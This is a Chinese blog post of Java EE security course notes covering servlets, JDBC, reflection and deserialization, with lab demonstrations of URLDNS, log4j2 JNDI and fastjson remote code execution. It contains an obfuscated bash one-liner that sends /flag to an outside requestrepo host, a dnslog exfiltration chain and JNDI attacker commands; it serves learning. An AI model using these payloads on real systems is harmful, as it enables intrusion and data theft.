4. 小迪安全v2023笔记 javaEE应用
4. 小迪安全v2023笔记 javaEE应用
大体上跟随小迪安全的课程,本意是记录自己的学习历程,不能说是完全原创吧,大家可以关注一下小迪安全。
若有冒犯,麻烦私信移除。
默认有java基础。
文章目录
- 4. 小迪安全v2023笔记 javaEE应用
- 0. 一些概念
- 1. javaEE环境配置
- 2. Servlet路由,get与post
- 3. JDBC mybatis hibernate
- 1. JDBC配置与使用
- 2. Filter过滤器
- 3. Listener监听器
- 4. java反射
- 1. Java反射-Class对象类的获取
- 2. 利用反射获取成员变量
- 3. 不安全命令执行
- 5. java反序列化初识
- 1. 重写readObject方法
- 2. URLDNS链
- 6. DNSlog
- 7. 一些第三方组件
- 1. maven与log4j配置
- 2. log4j2远程代码执行
- 3. fastjson
- 参考文章
0. 一些概念
Servlet是运行在Web服务器上的程序,它作为来自Web浏览器或其他http客户端的请求和http服务器上的数据库或应用程序之间的中间层。使用servlet可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。
tomcat是免费开源的轻量级服务器。当配置正确时,Apache 为HTML页面服务,而Tomcat 实际上运行JSP 页面和Servlet。
1. javaEE环境配置
下载安装配置好以下软件
jdk7 (jdk-17后面的复现不了)
mysql 8.0
navicat
tomcat 8.5
- 记得去conf的server.xml里把8080端口改成9528
- 去conf的logging.properties里修改
java.util.logging.ConsoleHandler.encoding = GBK - 系统环境变量
CATALINA_HOME设置为自己tomcat路径,系统环境变量Path里添加%CATALINA_HOME%\bin。 - 在cmd里输入
startup.bat,然后访问127.0.0.1:9528。
eclipse IDE for Enterprise Java and Web Developers
Eclipse开发JavaEE环境搭建 IT晓夏

web.xml 配置映射关系
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"><display-name>javaee1</display-name><welcome-file-list><welcome-file>index.html</welcome-file><welcome-file>index.jsp</welcome-file><welcome-file>index.htm</welcome-file><welcome-file>default.html</welcome-file><welcome-file>default.jsp</welcome-file><welcome-file>default.htm</welcome-file></welcome-file-list><servlet><servlet-name>test1</servlet-name><servlet-class>com.example.demo1.test1</servlet-class></servlet><servlet-mapping><servlet-name>test1</servlet-name><url-pattern>/test</url-pattern></servlet-mapping>
</web-app>
src/main/java/com/example/demo1/test1.java
package com.example.demo1;
import javax.servlet.http.*;import java.io.IOException;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;@WebServlet(name="test1",value="/test")
public class test1 extends HttpServlet{@Overrideprotected void doGet(HttpServletRequest req,HttpServletResponse resp)throws ServletException,IOException{//super.doGet(req, resp);System.out.println("hello world");}
}

2. Servlet路由,get与post
生命周期
实例化->初始化->服务->消亡
src/main/java/com/example/demo1/test1.java
package com.example.demo1; import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter; @WebServlet(name = "test1", urlPatterns = {"/test"})
public class test1 extends HttpServlet { @Overridepublic void init(ServletConfig config) throws ServletException {// TODO Auto-generated method stubsuper.init(config);System.out.println("init");}@Override protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// TODO Auto-generated method stubsuper.service(req, resp);System.out.println("Http servlet");}@Overridepublic void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {// TODO Auto-generated method stubsuper.service(req, res);System.out.println("servlet service");}@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { //System.out.println("hello world");req.setCharacterEncoding("utf-8");String name = req.getParameter("name"); resp.setContentType("text/html;charset=UTF-8");PrintWriter out = resp.getWriter(); if (name != null) { out.println("name: " + name); } else { out.println("No name parameter found."); } }@Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { req.setCharacterEncoding("utf-8");String name = req.getParameter("name"); System.out.print(name);resp.setContentType("text/html;charset=UTF-8");PrintWriter out = resp.getWriter(); if (name != null) { out.println("name: " + name); }}@Overridepublic void destroy() {// TODO Auto-generated method stubsuper.destroy();System.out.println("destroy");}
}
访问http://127.0.0.1:9528/javaee1/test


3. JDBC mybatis hibernate
JDBC是Java用于数据库访问的基础API,MyBatis是一个持久层框架,它封装了JDBC并提供灵活的SQL映射功能,使开发者能更方便地操作数据库;而Hibernate则是一个完整的ORM框架,它允许开发者以面向对象的方式操作数据库,自动生成和执行SQL语句,提高了开发效率。
1. JDBC配置与使用
1.访问https://mvnrepository.com,下载数据库驱动mysql-connector-java.jar
2.将jar拖进WEB-INF的lib目录下。
3.在Eclipse中,右键点击webapp,选择 Build Path -> Configure Build Path...。
4.选择Libraries选项,点击add External jars,添加jar。

MysqlServlet.java 普通sql语句
package com.example.demo1;
import java.sql.*;
public class MysqlServlet {//8.0以下//static final String JDBC_DRIVER="com.mysql.jdbc.Driver";//static final String DB_URL="jdbc:mysql://localhost:3306/user";//mysql8.0以上static final String JDBC_DRIVER="com.mysql.cj.jdbc.Driver";static final String DB_URL="jdbc:mysql://localhost:3306/user?useSSL=false&serverTimezone=UTC";//用户名,密码static final String USER ="root";static final String PASS ="123456";public static void main(String[] args) {Connection conn=null;Statement stmt=null;ResultSet rs=null;try {// 加载并注册JDBC驱动类Class.forName(JDBC_DRIVER);// 建立数据库连接conn = DriverManager.getConnection(DB_URL, USER, PASS);// 操作数据库...stmt=conn.createStatement();String sql = "SELECT * FROM t_user"; rs = stmt.executeQuery(sql); // 处理查询结果,一次一行 while (rs.next()) { System.out.println("rs: " + rs.getInt("id")+" "+rs.getString("username")+" "+rs.getString("password")); }// 关闭连接conn.close();} catch (ClassNotFoundException e) {System.out.println("MySQL JDBC 驱动未找到");e.printStackTrace();} catch (SQLException e) {System.out.println("数据库连接失败");e.printStackTrace();}}
}

预编译写法防sql注入
public static void main(String[] args) {Connection conn=null;PreparedStatement pstmt = null;ResultSet rs=null;try {// 加载并注册JDBC驱动类Class.forName(JDBC_DRIVER);// 建立数据库连接conn = DriverManager.getConnection(DB_URL, USER, PASS);// 查询语句String sql = "SELECT * FROM t_user where id>? and username!=?"; pstmt=conn.prepareStatement(sql);//参数一表示占位符位数(从1开始)pstmt.setInt(1, 1);pstmt.setString(2, "admin");rs = pstmt.executeQuery(); // 处理查询结果 while (rs.next()) { System.out.println("rs: " + rs.getInt("id")+" "+rs.getString("username")+" "+rs.getString("password")); }// 关闭连接conn.close();} catch (ClassNotFoundException e) {System.out.println("MySQL JDBC 驱动未找到");e.printStackTrace();} catch (SQLException e) {System.out.println("数据库连接失败");e.printStackTrace();}}
2. Filter过滤器

XssFilter.java
package com.example.demo1.filter;
import java.io.IOException;import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;@WebFilter("/test2")
public class XssFilter implements Filter{@Overridepublic void init(FilterConfig filterConfig) throws ServletException {//中间件启动后就自动运行System.out.println("xss过滤开启");}@Overridepublic void destroy() {//中间件关闭后就自动运行System.out.println("xss销毁过滤");}@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {System.out.println("xss正在过滤");HttpServletRequest request2=(HttpServletRequest) request;String name=request2.getParameter("name");if(name!=null && name.contains("<script>")) {System.out.print("存在xss攻击");}else {chain.doFilter(request,response);//放行}}}
test2.java
package com.example.demo1;
import java.io.IOException;
import java.io.PrintWriter;import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;@WebServlet(name = "test2", urlPatterns = {"/test2"})
public class test2 extends test1 { @Overridepublic void init(ServletConfig config) throws ServletException {//自动调用super.init(config);System.out.println("test2 init");}@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { //System.out.println("hello world");req.setCharacterEncoding("utf-8");String name = req.getParameter("name"); resp.setContentType("text/html;charset=UTF-8");PrintWriter out = resp.getWriter(); if (name != null) { out.println("name: " + name); } else { out.println("No name parameter found."); } out.flush();out.close();}@Override public void destroy() {//当 Servlet 被 Web 服务器移除出服务或者关闭时,自动调用super.destroy();System.out.println("test2 destroy");}
}
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"><display-name>javaee1</display-name><welcome-file-list><welcome-file>index.html</welcome-file><welcome-file>index.jsp</welcome-file><welcome-file>index.htm</welcome-file><welcome-file>default.html</welcome-file><welcome-file>default.jsp</welcome-file><welcome-file>default.htm</welcome-file></welcome-file-list><servlet><servlet-name>test1</servlet-name><servlet-class>com.example.demo1.test1</servlet-class></servlet><servlet-mapping><servlet-name>test1</servlet-name><url-pattern>/test</url-pattern></servlet-mapping><servlet><servlet-name>test2</servlet-name><servlet-class>com.example.demo1.test2</servlet-class></servlet><servlet-mapping><servlet-name>test2</servlet-name><url-pattern>/test2</url-pattern></servlet-mapping><filter><filter-name>XssFilter</filter-name><filter-class>com.example.demo1.filter.XssFilter</filter-class></filter><filter-mapping><filter-name>XssFilter</filter-name><url-pattern>/test2</url-pattern></filter-mapping>
</web-app>

获取cookie
Cookie[] cookies=request2.getCookies();
for(Cookie c :cookies) {//遍历cookies数组String cname=c.getName();String cvalue=c.getValue();System.out.println(cname+cvalue);
}
3. Listener监听器
ListenSession.java
package com.example.demo1.Listener;import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;
//listener不用加url路由
@WebListener
public class ListenSession implements HttpSessionListener{@Overridepublic void sessionCreated(HttpSessionEvent se) {System.out.println("监听器监听到了创建");}@Overridepublic void sessionDestroyed(HttpSessionEvent se) {System.out.println("监听器监听到了销毁");}}
DSession.java
package com.example.demo1;import java.io.IOException;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;@WebServlet(name = "ds", urlPatterns = {"/ds"})
public class DSession extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// TODO Auto-generated method stubSystem.out.println("session销毁");req.getSession().invalidate();}
}
CSession.java
package com.example.demo1;import java.io.IOException;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;@WebServlet(name = "cs", urlPatterns = {"/cs"})
public class CSession extends HttpServlet{@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {System.out.println("创建Session");req.getSession();//创建session}
}
web.xml添加
<servlet><servlet-name>cs</servlet-name><servlet-class>com.example.demo1.CSession</servlet-class></servlet><servlet-mapping><servlet-name>cs</servlet-name><url-pattern>/cs</url-pattern></servlet-mapping> <servlet><servlet-name>ds</servlet-name><servlet-class>com.example.demo1.DSession</servlet-class></servlet><servlet-mapping><servlet-name>ds</servlet-name><url-pattern>/ds</url-pattern></servlet-mapping>

4. java反射
如果项目环境坏了,建议删掉项目,重建一个。
反射是Java的特征之一,是一种间接操作目标对象的机制,核心是JVM在运行状态的时候才动态加载类,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象,都能够调用它的方法/访问属性。这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制。通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。
1. Java反射-Class对象类的获取
//1.根据类名:类名.class
Class userClass =User.class;
//2.根据对象:对象.getClass()
User user=new User();
Class ac=user.getClass();
//3.根据全限定类名:Class.forname("全路径名")
Class ac=Class.forName("com.example.demo1.User");
//4.通过类加载器获取Class对象:
//ClassLoader.getSystemClassLoader().loadClass("com.example.demo1.User");
ClassLoader clsload=ClassLoader.getSystemClassLoader();
Class ac2=clsload.loadClass("com.example.demo1.User");
要注意的一点,需要把package复制到lib目录下,然后project->clean,build automatically,不然forname函数找不到路径。

User.java
package com.example.demo1;
public class User {public String name="lihua";public int age=15;public User() {// TODO Auto-generated constructor stub}public User(String n,int a) {// TODO Auto-generated constructor stubthis.name=n;this.age=a;}
}
GetClass.java
package com.example.demo1;
import java.lang.Class;
public class GetClass {public static void main(String[] args) {System.out.println(666);try{ClassLoader clsload=ClassLoader.getSystemClassLoader();Class ac2=clsload.loadClass("com.example.demo1.User");System.out.print(ac2);}catch(Exception e){System.out.print(e);}}
}
2. 利用反射获取成员变量
//Class类中用于获取成员变量的方法
Field[] getFields()://返回所有 公共 成员变量对象的数组
Field[] getDeclaredFields()://返回所有成员变量对象的数组
Field getField(String name)://返回单个公共成员变量对象
Field getDeclaredField(String name)://返回单个成员变量对象//Field 类中用于创建对象的方法
void set(Object obj,Object value):赋值
Object get(Object obj)获取值。//Class类中用于获取构造方法的方法
Constructor<?>[] getConstructors(): 返回所有公共构造方法对象的数组
Constructor<?>[] getDeclaredConstructors(): 返回所有构造方法对象的数组
Constructor<T>[] getConstructor(Class<?>... parameterTypes): 返回单个公共构造方法对象
Constructor<T>[] getDeclaredConstructor(Class<?>... parameterTypes)://返回单个构造方法对象//Constructor类中用于创建对象的方法
T newInstance(Object... initargs): 根据指定的构造方法创建对象
setAccessible(boolean flag): 设置为true,表示取消访问检查//Class类中用于获取成员方法的方法
Method[] getMethods():返回所有公共成员方法对象的数组,包括继承的
Method[] getDeclaredMethods():返回所有成员方法对象的数组,不包括继承的
Method getMethod(String name, Class<?>... parameterTypes) :返回单个公共成员方法对象
Method getDeclaredMethod(String name, Class<?>... parameterTypes):返回单个成员方法对象//Method类中用于创建对象的方法
Object invoke(Object obj, Object... args):
运行方法
参数一:用obj对象调用该方法
参数二:调用方法的传递的参数(如果没有就不写)
返回值:方法的返回值(如果没有就不写)

GetClass.java修改对应部分
User u=new User();Class ac2=Class.forName("com.example.demo1.User");Field field=ac2.getField("age");Object a=field.get(u);System.out.println(a);//15field.set(u, 44);System.out.print(field.get(u));//44Constructor c1=ac2.getDeclaredConstructor(String.class);//获取构造方法System.out.println(c1);//public com.example.demo1.User(java.lang.String,int)//临时开启对私有的访问c1.setAccessible(true);User uu=(User)c1.newInstance("lisi");System.out.println(uu.name);//lisiUser u2=new User();Method m1=ac2.getDeclaredMethod("ptall",String.class,int.class);m1.invoke(u2,"zzz",66);//zzz 66
User.java 添加类方法
private User(String n) {this.name=n;}public void ptall(String n,int a) {System.out.println(n+" "+a);}
3. 不安全命令执行
原型:
Runtime.*getRuntime*().exec("calc");
该函数不会解析Shell命令或Shell特性(如管道|、重定向>、反引号等)。
可以显示调用bash -c执行子查询
curl http://`cat /flag`.i5yh54u0.requestrepo.cojava.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCAgaHR0cDovL2BjYXQgL2ZsYWdgLmk1eWg1NHUwLnJlcXVlc3RyZXBvLmNvbS8=}|{base64,-d}|{bash,-i}')
反射:
Class ac1=Class.forName("java.lang.Runtime");
Method exec1=ac1.getMethod("exec", String.class);
Method getRuntime1=ac1.getMethod("getRuntime");
Object runtimeObject=getRuntime1.invoke(ac1);
exec1.invoke(runtimeObject, "calc.exe");
5. java反序列化初识
序列化:将内存中的对象压缩成字节流。
反序列化:将字节流转化成内存中的对象。
几种创建的序列化和反序列化协议
- Java内置的writeObject()/readObject()
- Java内置的XMLDecoder()/XMLEncoder()
- Xstream
- SnakeYaml
- FastJson
- Jackson
类实现序列化需满足的条件
- 实现java.io.Serializeble接口
- 该类所有属性必须可序列化
- 如果有一个属性不可序列化,那么这个属性必须注明是短暂的
为什么出现反序列化安全问题
内置原生写法
- 重写readObject方法
- 输出调用toString方法
1. 重写readObject方法
User.java
package com.example.demo1;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class User implements Serializable{public String name="lihua";public int age=15;public User() {}public User(String n,int a) {this.name=n;this.age=a;}public String toString() {return "User{"+"name= "+name+" , age= "+age+" }";}public void ptall() {System.out.println(name+" "+age);}private void readObject(ObjectInputStream ois)throws IOException,ClassNotFoundException{//指向正确的defaultReadObjectois.defaultReadObject();Runtime.getRuntime().exec("calc");}
}
serializedemo1.java
package com.example.demo1;
import java.io.*;
public class serializedemo1 {public static void main(String[] args)throws IOException {User u =new User("serialize2",63);// 调用方法将User对象序列化并保存到文件 SerializableTest(u);}public static void SerializableTest(Object obj) throws IOException {//将对象obj进行序列化后输出到1.txtObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.txt"));oos.writeObject(obj); }
}
Unserializedemo1.java
package com.example.demo1;import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;public class unserializedemo1 {public static void main(String[] args)throws IOException,ClassNotFoundException {//调用下面方法将1.txt反序列化成类对象System.out.println(UnserializableTest("1.txt"));}public static Object UnserializableTest(String filename) throws IOException,ClassNotFoundException {//读取File文件内容进行反序列化ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));Object o=objectInputStream.readObject();return o;}
}

代码执行,成功弹出计算器。
2. URLDNS链
HashMap.readObject()->HashMap.putVal()->HashMap.hash()->URL.hashCode()
hashCode执行结果触发dns请求,如果是执行命令的话就是RCE漏洞。
urldns.java
package com.example.demo1;
import java.util.HashMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.net.URL;
public class urldns implements Serializable{public static void main(String[] args) throws IOException,ClassNotFoundException{HashMap<URL, Integer> hash=new HashMap<>();URL url =new URL("http://whoami.v0taa6.dnslog.cn");//写dnslog.cn给的网址,并把whoami以子域名的形式外带hash.put(url, 1);SerializableTest(hash);UnserializableTest("dns.txt");}public static void SerializableTest(Object obj) throws IOException {//将对象obj进行序列化后输出到dns.txtObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("dns.txt"));oos.writeObject(obj); }public static Object UnserializableTest(String filename) throws IOException,ClassNotFoundException {//读取File文件内容进行反序列化ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));Object o=objectInputStream.readObject();return o;}
}
攻击脚本ysoserial.jar
6. DNSlog
dnslog.cn
DNSLog的原理是利用DNS协议的特性,将需要收集的信息编码成DNS查询请求,然后将请求发送到DNS服务器,最后通过DNS服务器的响应来获取信息。
DNS解析流程

比如SQL注入时,网站响应无回显,可以以dnslog子域名的方式外带SQL结果。

7. 一些第三方组件
Maven能够自动下载项目所需的所有依赖项,并且管理这些依赖的版本,确保项目的构建一致性。
log4j是一个流行的Java日志框架,用于记录应用程序的运行时信息。
1. maven与log4j配置
Maven工程的安装配置及搭建 ChatYU
下载安装apache-maven-3.8.8
添加环境变量MAVEN_HOME,值为apache-maven-3.8.8的路径。
环境变量path添加%MAVEN_HOME%\bin
在apache-maven-3.8.8-bin目录下新建mvn_repository目录。
在apache-maven-3.8.8\conf\settings.xml里修改对应的值,如下。
<localRepository>你的路径/apache-maven-3.8.8-bin/mvn_repository</localRepository>
再修改生效的mirrors标签同下(换源):
<mirrors><mirror><id>alimaven</id><name>aliyun maven</name><url>http://maven.aliyun.com/nexus/content/groups/public/</url><mirrorOf>central</mirrorOf> </mirror><mirror> <id>alimaven</id> <mirrorOf>central</mirrorOf> <name>aliyun maven</name> <url>http://maven.aliyun.com/nexus/content/repositories/central/</url> </mirror> </mirrors>
eclipse点击windows->preferences->maven->installations->add。添加完后勾选mvn_repository。


新建maven project,要注意选internal和webapp。

进程卡在33%左右时,需要在console输入Y。
进入mvnrepository.com,搜索apache log4j core(2.14.1版本)和java servlet api (3.1.0)。
将使用maven的依赖添加到maven的pom.xml中,然后run as maven test,下载依赖。
pom.xml参考如下
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"><modelVersion>4.0.0</modelVersion><groupId>mavenexample1.com</groupId><artifactId>maven1</artifactId><packaging>war</packaging><version>0.0.1-SNAPSHOT</version><name>maven1 Maven Webapp</name><url>http://maven.apache.org</url><dependencies><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>3.8.1</version><scope>test</scope></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency><!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api --><dependency><groupId>javax.servlet</groupId><artifactId>javax.servlet-api</artifactId><version>3.1.0</version><scope>provided</scope></dependency></dependencies><build><finalName>maven1</finalName></build>
</project>
java Resources/src/main/java下新建package com.example.demo2,在package里新建log4jTest.java。
log4jTest.java
package com.example.demo2;import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;import java.io.IOException;
import java.io.PrintWriter;import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;@WebServlet(name="log4j",urlPatterns = {"/log4j"})
public class log4jTest extends HttpServlet{private static final Logger logger=LogManager.getLogger(log4jTest.class);@Overridepublic void init(ServletConfig config) throws ServletException {// TODO Auto-generated method stubsuper.init(config);System.out.println("init");String codeString="${java:os}";logger.error("{}",codeString);}@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { //System.out.println("hello world");req.setCharacterEncoding("utf-8");String name = req.getParameter("name"); resp.setContentType("text/html;charset=UTF-8");PrintWriter out = resp.getWriter(); if (name != null) { out.println("name: " + name); } else { out.println("No name parameter found."); } }
}
web.xml参考如下
<!DOCTYPE web-app PUBLIC"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN""http://java.sun.com/dtd/web-app_2_3.dtd" ><web-app><display-name>maven1</display-name><servlet><servlet-name>log4j</servlet-name><servlet-class>com.example.demo2.log4jTest</servlet-class></servlet><servlet-mapping><servlet-name>log4j</servlet-name><url-pattern>/log4j</url-pattern></servlet-mapping></web-app>
然后把package复制到lib目录下,然后project->clean,build automatically。(让项目能找到你的代码路径)

然后把在中间servers->tomcat v8.5添加maven1,并运行。

查看运行结果

2. log4j2远程代码执行
Java 命名和目录接口 (JNDI) 是一种 Java API,它允许 Java 软件客户端通过名称发现和查找数据和对象。JNDI 提供了一个通用接口,用于访问不同的命名和目录服务,例如 LDAP、DNS 和 NIS 提供的服务。JNDI 可用于访问 Java EE 应用程序中的数据库、队列和 EJB(Enterprise JavaBeans)等资源,也可用于通过 RMI(远程方法调用)或 CORBA(通用对象请求代理架构)访问远程对象)。
高版本jdk利用
https://www.cnblogs.com/EddieMurphy-blogs/p/18078943
https://www.cnblogs.com/uf9n1x/p/17343393.html
低版本jdk利用
自行下载JNDIExploit-SNAPSHOT.jar。https://www.cnblogs.com/Welk1n/p/11701401.html
攻击机 kali linux
java -jar ./JNDI* -C "calc" -A 192.168.10.4
靶机,需要控制eclipse编译时的jdk版本
@WebServlet(name="log4j",urlPatterns = {"/log4j"})
public class log4jTest extends HttpServlet{private static final Logger logger=LogManager.getLogger(log4jTest.class);@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { //System.out.println("hello world");String code= req.getParameter("code"); PrintWriter out = resp.getWriter(); if (code != null) { out.println("code exists" ); logger.error("{}",code);} else { out.println("No code parameter found."); } }
}
访问网页时传参?code=${jndi:ldap://192.168.10.4:1039/fgf4fp}
各位自行尝试。
3. fastjson
mvn repository 搜索fastjson1 compatible(1.2.24),然后maven代码放进pom.xml,maven test。

fastjsondemo1.java
package com.example.demo2;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;class fastjsondemo1{public static void main(String[] args) {//u Object 对象User u=new User();//使用fastjson的函数来把对象转为json数据String j1=JSONObject.toJSONString(u);System.out.println(j1);//{"age":15,"name":"lihua"}String j2=JSONObject.toJSONString(u,SerializerFeature.WriteClassName);System.out.println(j2);//{"@type":"com.example.demo2.User","age":15,"name":"lihua"}//json->对象String test="{\"@type\":\"com.example.demo2.User\",\"age\":15,\"name\":\"lihua\"}";JSONObject jsonObject1=JSON.parseObject(test);System.out.println(jsonObject1);//{"name":"lihua","age":15}//若修改@type的值String test1="{\"@type\":\"com.example.demo2.Run1\",\"age\":15,\"name\":\"lihua\"}";JSONObject jsonObject2=JSON.parseObject(test1);System.out.println(jsonObject2);//跳计算器}
}
Run1.java
package com.example.demo2;
import java.io.IOException;
public class Run1 {public Run1( )throws IOException {// TODO Auto-generated constructor stubRuntime.getRuntime().exec("calc");}}
参考文章
-
JAVA安全基础(二)-- 反射机制 小阳
-
JAVA反序列化初食 将遗憾写成歌
-
DNSLog漏洞探测(一)之DNSLog介绍 怰月
-
JNDI注入学习 FlynnAAAA
-
JNDI&RMI&LDAP介绍+log4j分析 enhengzZ
-
Java反序列化:CC1链 详解 Jay 17
相关文章:
4. 小迪安全v2023笔记 javaEE应用
4. 小迪安全v2023笔记 javaEE应用 大体上跟随小迪安全的课程,本意是记录自己的学习历程,不能说是完全原创吧,大家可以关注一下小迪安全。 若有冒犯,麻烦私信移除。 默认有java基础。 文章目录 4. 小迪安全v2023笔记 javaEE应…...
anaconda修改安装的默认环境
📚博客主页:knighthood2001 ✨公众号:认知up吧 (目前正在带领大家一起提升认知,感兴趣可以来围观一下) 🎃知识星球:【认知up吧|成长|副业】介绍 ❤️如遇文章付费,可先看…...
MySQL 9.0 正式发行Innovation创新版已支持向量
从 MySQL 8.1 开始,官方启用了新的版本模型:MySQL 创新版 (Innovation) 和长期支持版 (LTS)。 根据介绍,两者的质量都已达到可用于生产环境级别。区别在于: 如果希望尝试最新的功能和改进,并喜欢与最新技术保持同步&am…...
基于Java+SpringMvc+Vue技术的智慧校园系统设计与实现
博主介绍:硕士研究生,专注于信息化技术领域开发与管理,会使用java、标准c/c等开发语言,以及毕业项目实战✌ 从事基于java BS架构、CS架构、c/c 编程工作近16年,拥有近12年的管理工作经验,拥有较丰富的技术架…...
【蔬菜网元宇宙】—— 探索农业的未来之旅
在数字化时代的浪潮中,技术和创新不断塑造着我们的生活方式。现在,这种变革已经延伸到了农业领域。蔬菜网,一个专注于农产品供应链的领先平台,自豪地宣布我们正式迈入元宇宙的世界——一个全新的虚拟空间,旨在彻底改变…...
淘宝商品历史价格查询(免费)
当前资料来源于网络,禁止用于商用,仅限于学习。 淘宝联盟里面就可以看到历史价格 并且没有加密 淘宝商品历史价格查询可以通过以下步骤进行: 先下载后,登录app注册账户 打开淘宝网站或淘宝手机App。在搜索框中输入你想要查询的商…...
14-47 剑和诗人21 - 2024年如何打造AI创业公司
2024 年,随着人工智能继续快速发展并融入几乎所有行业,创建一家人工智能初创公司将带来巨大的机遇。然而,在吸引资金、招聘人才、开发专有技术以及将产品推向市场方面,人工智能初创公司也面临着相当大的挑战。 让我来…...
WPF界面设计-更改按钮样式 自定义字体图标
一、下载图标文件 iconfont-阿里巴巴矢量图标库 二、xaml界面代码编辑 文件结构  对应的图标代码 Fonts/#iconfont 对应文件位置 <Window.Resources><ControlTemplate TargetType"Button" x:Key"CloseButtonTemplate"…...
开源项目的机遇与挑战
随着全球经济和科技环境的快速变化,开源软件项目的蓬勃发展成为了开发者社区的热门话题。越来越多的开发者和企业选择参与开源项目,以推动技术创新和实现协作共赢。本文将从开源项目的发展趋势、参与开源的经验分享,以及开源项目的挑战三个方…...
Linux实现CPU物理隔离
文章目录 背景使用 taskset 命令使用 cgroups案例 背景 在 Linux 上实现 CPU 的物理隔离(也称为 CPU 隔离或 CPU pinning),可以通过将特定的任务或进程绑定到特定的 CPU 核心来实现。这可以提高系统性能,尤其是在需要实时响应的应…...
springer latex模板参考文献不显示
原因 his is BibTeX, Version 0.99d (TeX Live 2024) The top-level auxiliary file: sn-article.aux I couldn’t open style file sn-mathphys-num.bst —line 2 of file sn-article.aux : \bibstyle{sn-mathphys-num : } I’m skipping whatever remains of this command I…...
使用Vue3、Pinia和Vite5打造高度还原的抖音仿制项目
douyin-vue 是一个模仿 抖音|TikTok 的移动端短视频项目。Vue 在移动端的"最佳实践",媲美原生 App 丝滑流畅的使用体验。使用了最新的 Vue 技术栈,基于 Vue3、Vite5 、Pinia实现。数据保存在项目本地,通过 axios-mock-adapter 库拦…...
stm32基本定时器
Driver_TIM6.c 需要注意立即进入中断问题,原因是预分频寄存器并没有更新预分频系数。 #include "Driver_TIM6.h" #include "Delay.h" /*** description: 给定时器6进行初始化* return {*}*/ void Driver_TIM6_Init(void) {/* 1. 给定时器6开启…...
网络安全基础-1
棱角社区:[~]#棱角 ::Edge.Forum* 专业名词 操作系统 文件下载 linux:下载命令 1. wget命令 wget是一个非常强大的命令行下载工具,支持HTTP、HTTPS、FTP等多种协议,并具备断点续传、递归下载等功能。 基本用法: 下载文件到…...
SSH远程访问及控制
